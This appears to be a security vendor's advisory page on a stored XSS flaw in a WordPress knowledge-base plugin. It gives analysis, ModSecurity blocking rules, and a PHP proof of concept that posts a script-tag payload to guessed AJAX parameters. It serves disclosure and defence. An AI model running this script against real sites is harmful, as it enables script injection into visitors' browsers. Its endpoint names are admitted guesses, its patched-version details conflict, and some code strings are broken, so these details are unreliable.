Opens in a new tab
Published : November 15, 2026

CVE-2026-28187: Knowledge Base for Documentation, FAQs with AI Assistance <= 17.211.0 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 17.211.0
Patched Version —
Disclosed August 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-28187 (metadata-based):

This CVE documents an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Knowledge Base for Documentation, FAQs with AI Assistance (slug: echo-knowledge-base) affecting versions up to and including 17.211.0. Patched in version 17.212.0. The CVSS score is 7.2 (High) with vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N. The vulnerability allows an unauthenticated attacker to inject arbitrary web scripts into pages that will execute when a user accesses the injected page. The scope is changed (S:C), indicating that the vulnerable component impacts resources beyond its security scope, likely because the injected script executes in the context of the WordPress site and can affect visitors or administrators.

Root Cause: The CWE classification is CWE-79 (Improper Neutralization of Input During Web Page Generation, i.e., Cross-site Scripting). The description states insufficient input sanitization and output escaping. Atomic Edge analysis infers that the plugin provides a publicly accessible feature (such as a knowledge base article submission, FAQ suggestion, or AI-assisted search/feedback endpoint) that accepts user-supplied content and stores it in the database without proper sanitization, then renders it on a page without output escaping. The lack of authentication required (PR:N) indicates that the vulnerable entry point is available to unauthenticated users, likely via a REST API endpoint, AJAX action, or public form. Because no source code diff is available, the exact vulnerable parameter and code path are inferred from the plugin’s functionality and the CWE. The plugin’s name suggests knowledge base, documentation, and FAQ features, which commonly include public-facing submission forms or search functionalities that may store user input.

Exploitation: An attacker can exploit this vulnerability by submitting a crafted request to a public endpoint of the plugin, such as an AJAX action or REST route, without authentication. The payload would be a JavaScript snippet (e.g., alert(document.domain) or a more sophisticated payload to steal cookies or perform actions) embedded in a parameter that is stored and later displayed. Based on the plugin slug and typical WordPress patterns, the vulnerable endpoint is likely /wp-admin/admin-ajax.php with an action parameter such as ‘echo_knowledge_base_submit’ or a REST endpoint like /wp-json/echo-knowledge-base/v1/submit. The attacker does not need any privileges; they simply send a POST request with the malicious payload. The stored script executes when an administrator or site visitor views the affected page (e.g., a knowledge base article, FAQ list, or admin dashboard). Atomic Edge research infers that the attack vector is network-based and requires no user interaction from the attacker’s side, though the victim must visit the injected page.

Remediation: The patch in version 17.212.0 likely adds proper input sanitization and output escaping. For input sanitization, the plugin should use WordPress functions like sanitize_text_field(), wp_kses(), or wp_kses_post() to strip dangerous HTML tags and attributes from user-supplied data before storing it. For output escaping, the plugin should use esc_html(), esc_attr(), or esc_js() when rendering the stored data on pages. Additionally, the plugin may implement nonce verification and capability checks if the endpoint is intended for authenticated users, but since the vulnerability is unauthenticated, the fix must focus on sanitization and escaping. Atomic Edge analysis concludes that the root cause is the absence of these security controls, and the patch addresses them.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking, theft of sensitive information (such as authentication cookies or personal data), defacement of the website, redirection to malicious sites, or performing actions on behalf of the victim (e.g., creating new administrative users if the victim is an administrator). Because the scope is changed, the attacker can potentially compromise the entire WordPress site and its users. The CVSS vector indicates low confidentiality and integrity impact, but the changed scope and network attack vector make this a significant threat, especially for high-traffic knowledge base sites.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-28187 (metadata-based)
# This rule blocks unauthenticated stored XSS attempts targeting the echo-knowledge-base plugin.
# It matches POST requests to admin-ajax.php with an action parameter containing 'echo_knowledge_base' or 'ekb' (likely prefix)
# and inspects for script tags or event handlers in any parameter.
# Since the exact action name is unknown, we use a broad pattern to catch common naming conventions.
# The rule is scoped to the plugin's likely AJAX actions and checks for XSS payloads.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202628187,phase:2,deny,status:403,chain,msg:'CVE-2026-28187: Unauthenticated Stored XSS in echo-knowledge-base via AJAX',severity:'CRITICAL',tag:'CVE-2026-28187'"
  SecRule ARGS_POST:action "@rx ^(echo_knowledge_base|ekb)_" 
    "chain"
    SecRule ARGS "@detectXSS" 
      "t:urlDecodeUni,t:htmlEntityDecode,t:jsDecode"

# Also protect REST API endpoints if they exist
SecRule REQUEST_URI "@beginsWith /wp-json/echo-knowledge-base/" 
  "id:202628188,phase:2,deny,status:403,msg:'CVE-2026-28187: Unauthenticated Stored XSS in echo-knowledge-base via REST API',severity:'CRITICAL',tag:'CVE-2026-28187'"
  SecRule ARGS "@detectXSS" 
    "t:urlDecodeUni,t:htmlEntityDecode,t:jsDecode"

# Note: These rules may need tuning based on actual plugin endpoints and action names.
# The use of @detectXSS operator helps identify common XSS patterns.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28187 - Knowledge Base for Documentation, FAQs with AI Assistance <= 17.211.0 - Unauthenticated Stored Cross-Site Scripting

// This PoC assumes the vulnerable endpoint is a public AJAX action or REST route.
// Since no code diff is available, we infer the endpoint from the plugin slug and common WordPress patterns.
// The payload is a simple JavaScript alert to demonstrate execution.
// Adjust the target URL and parameters as needed based on actual plugin behavior.

$target_url = 'http://example.com'; // Change to your WordPress site URL

// Common AJAX endpoint for WordPress plugins
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Inferred action name based on plugin slug (echo-knowledge-base)
$action = 'echo_knowledge_base_submit'; // This is a guess; may need adjustment

// Malicious payload to inject
$payload = '<script>alert("XSS by Atomic Edge")</script>';

// Additional parameters that might be required (e.g., title, content, etc.)
$post_fields = array(
    'action' => $action,
    'title' => 'Atomic Edge Test',
    'content' => $payload,
    'faq_question' => $payload, // Alternative parameter names
    'faq_answer' => 'Test answer',
    'kb_article' => $payload,
    // Add other parameters as needed
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output results
echo "Request sent to: $ajax_urln";
echo "Action: $actionn";
echo "Payload: $payloadn";
echo "HTTP Status: $http_coden";
echo "Response: $responsen";

// Note: This is a basic PoC. The actual endpoint and parameter names may differ.
// An attacker would need to identify the correct vulnerable endpoint and parameters,
// possibly by inspecting the plugin's JavaScript or public forms.
// The stored payload would execute when an admin or visitor views the injected content.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.